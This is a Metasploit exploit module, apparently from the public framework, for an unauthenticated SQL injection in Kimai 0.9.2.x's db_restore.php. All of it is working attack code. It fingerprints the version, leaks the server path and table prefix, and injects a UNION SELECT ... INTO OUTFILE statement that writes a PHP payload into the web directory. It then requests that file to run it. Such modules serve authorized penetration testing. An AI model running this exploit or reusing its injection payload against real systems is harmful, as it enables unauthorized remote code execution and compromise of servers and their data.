## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection", 'Description' => %q{ This module exploits a SQL injection vulnerability in Kimai version 0.9.2.x. The 'db_restore.php' file allows unauthenticated users to execute arbitrary SQL queries. This module writes a PHP payload to disk if the following conditions are met: The PHP configuration must have 'display_errors' enabled, Kimai must be configured to use a MySQL database running on localhost; and the MySQL user must have write permission to the Kimai 'temporary' directory. }, 'License' => MSF_LICENSE, 'Author' => [ 'drone (@dronesec)', # Discovery and PoC 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'References' => [ ['EDB' => '25606'], ['OSVDB' => '93547'], ], 'Payload' => { 'Space' => 8000, # HTTP POST 'DisableNops'=> true, 'BadChars' => "\x00\x0a\x0d\x27" }, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [ # Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3 [ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ] ], 'Privileged' => false, 'DisclosureDate' => 'May 21 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']), OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']), OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_']) ], self.class) end # # Checks if target is Kimai version 0.9.2.x # def check print_status("#{peer} - Checking version...") res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") }) if not res print_error("#{peer} - Request timed out") return Exploit::CheckCode::Unknown elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/ version = "#{$1}" print_good("#{peer} - Found version: #{version}") if version >= "0.9.2" and version <= "0.9.2.1306" return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end Exploit::CheckCode::Unknown end def exploit # Get file system path print_status("#{peer} - Retrieving file system path...") res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') }) if not res fail_with(Failure::Unknown, "#{peer} - Request timed out") elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/ path = "#{$1}" print_good("#{peer} - Found file system path: #{path}") else path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path) print_warning("#{peer} - Could not retrieve file system path. Assuming '#{path}'") end # Get MySQL table name prefix from temporary/logfile.txt print_status("#{peer} - Retrieving MySQL table name prefix...") res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') }) if not res fail_with(Failure::Unknown, "#{peer} - Request timed out") elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/) table_prefix = "#{prefixes.flatten.last}" print_good("#{peer} - Found table name prefix: #{table_prefix}") else table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path) print_warning("#{peer} - Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'") end # Create a backup ID print_status("#{peer} - Creating a backup to get a valid backup ID...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'db_restore.php'), 'vars_post' => { 'submit' => 'create backup' } }) if not res fail_with(Failure::Unknown, "#{peer} - Request timed out") elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/) id = "#{backup_ids.flatten.last}" print_good("#{peer} - Found backup ID: #{id}") else fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID") end # Write PHP payload to disk using MySQL injection 'into outfile' fname = "#{rand_text_alphanumeric(rand(10)+10)}.php" sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- " print_status("#{peer} - Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'db_restore.php'), 'vars_post' => Hash[{ 'submit' => 'recover', 'dates[]' => sqli }.to_a.shuffle] }) if not res fail_with(Failure::Unknown, "#{peer} - Request timed out") elsif res.code == 200 print_good("#{peer} - Payload sent successfully") register_files_for_cleanup(fname) else print_error("#{peer} - Sending payload failed. Received HTTP code: #{res.code}") end # Remove the backup print_status("#{peer} - Removing the backup...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'db_restore.php'), 'vars_post' => Hash[{ 'submit' => 'delete', 'dates[]' => "#{id}" }.to_a.shuffle] }) if not res print_warning("#{peer} - Request timed out") elsif res.code == 302 and res.body !~ /#{id}/ vprint_good("#{peer} - Deleted backup with ID '#{id}'") else print_warning("#{peer} - Could not remove backup with ID '#{id}'") end # Execute payload print_status("#{peer} - Retrieving file '#{fname}'...") res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}") }, 5) end end